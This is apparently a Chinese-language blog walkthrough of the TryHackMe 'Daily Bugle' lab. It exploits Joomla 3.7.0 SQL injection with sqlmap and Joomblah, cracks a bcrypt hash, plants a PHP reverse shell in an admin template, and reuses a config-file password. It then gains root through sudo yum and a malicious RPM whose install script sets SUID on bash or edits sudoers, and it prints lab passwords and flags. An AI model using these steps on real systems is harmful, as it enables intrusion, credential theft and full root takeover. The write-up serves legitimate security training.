Daily Bugle

Daily Bugle

v2ish1yan Lv4

知识点

  • joomla 3.7.0 sql注入漏洞
  • joomla后台template处写shell
  • 信息收集,网站的config文件里,一些数据库的密码可能会跟用户的密码一样
  • yum 本地安装rpm包提权
  • bash -p提权

Access the web server, who robbed the bank?

image-20230312162205627

spiderman

What is the Joomla version?

使用joomscan 来进行扫描

1
perl joomscan.pl http://10.10.63.103/

然后可以得到版本

image-20230312163949497

3.7.0

What is Jonah’s cracked password?

在网上找到joomal 3.7.0存在sql注入Joomla! 3.7.0 - ‘com_fields’ SQL Injection

image-20230312192022978

用burp抓包,然后跑sqlmap

1
sqlmap -u "http://10.10.63.103/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1" --level=5 -p "list[fullordering]" --threads=10  --dbs --risk=3 --random-agent

结果跑不出来。。。使用另外一个工具Joomblah

1
python2 exp.py  http://10.10.63.103

得到

1
Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']

然后在hashcatwiki 上找一下是什么类的加密

1
3200	bcrypt $2*$, Blowfish (Unix)	$2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6

然后使用hashcat进行爆破

1
hashcat -m 3200 -a 0 1.txt rockyou.txt -o 2.txt

发现爆不出来,用john试试

1
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt - 1.txt

给虚拟机分配的cpu太少了,爆的太慢了。。。

得到密码spiderman123

What is the user flag?

得到密码后,在/administrator使用jonah/spiderman123登录

image-20230312210757736

然后寻找可用写shell的地方,在http://10.10.202.112/administrator/index.php?option=com_templates&view=template&id=503&file=L2luZGV4LnBocA%3D%3D

可用编辑模板,写一个shell

image-20230312211806891

使用php-reverse-shell

然后点击Template Previe然后可以获得shell

image-20230312212004469

得到shell后,用户为apache,没有权限打开用户目录

然后在/var/www/html/configuration.php得到了一个数据库的用户和密码

image-20230312212754322

尝试是否可以登录jjameson用户

1
2
su jjameson
nv5uz9r3ZEDzVjNu

image-20230312212921918

成功!

读取/home/jjameson/user.txt

27a260fe3cba712cfdedb1c86d80442e

What is the root flag?

查看sudo -l

1
2
User jjameson may run the following commands on dailybugle:
(ALL) NOPASSWD: /usr/bin/yum

可以使用yum安装恶意rpm包进行提权

得先安装好环境

安装ruby:sudo apt-get install ruby-full

安装fpm:sudo gem install fpm

安装rpm:sudo apt-get install rpm

根据这篇文章利用软件包管理器实现Linux提权

创建一个sh文件,并放在一个目录下

chmod +s 赋予文件suid权限

1
2
3
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +xs /tmp/bash

然后执行命令,创建rpm包

1
2
3
fpm -n yum-grant -s dir -t rpm --pre-install ./exploit/yum_grantp.sh   ./exploit 
#--pre-install 在安装之前执行的脚本
# ./exploit 对应 -s dir 指定的目录

用python开启http服务

1
python3 -m http.server  

在目标主机上下载下来,最好在/tmp目录下

1
wget http://10.18.104.32:8000/yum-grant-1.0-1.x86_64.rpm

然后使用yum离线安装

1
sudo yum localinstall -y yum-grant-1.0-1.x86_64.rpm

执行命令

1
/tmp/bash -p

获得root权限的shell

bash -p,如果当前文件被赋予了suid,那么就会以suid权限执行这个文件。因为在恶意脚本里就执行了chmod +s ,所以bash -p 就会获得root权限

image-20230312221648544

/root/root.txt获得flag

eec3d53292b1821868266858d7fa6f79

打包的sh文件还可以写成

1
echo "jjameson ALL=(root) NOPASSWD: ALL" >> /etc/sudoers

来将当前用户加入到sudoer里,使用sudo来以root权限执行命令

  • 标题: Daily Bugle
  • 作者: v2ish1yan
  • 创建于: 2023-05-20 10:56:44
  • 更新于: 2023-05-20 10:56:44
  • 链接: http://v2ish1yan.top/2023/05/20/靶机/THM_Daily Bugle/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论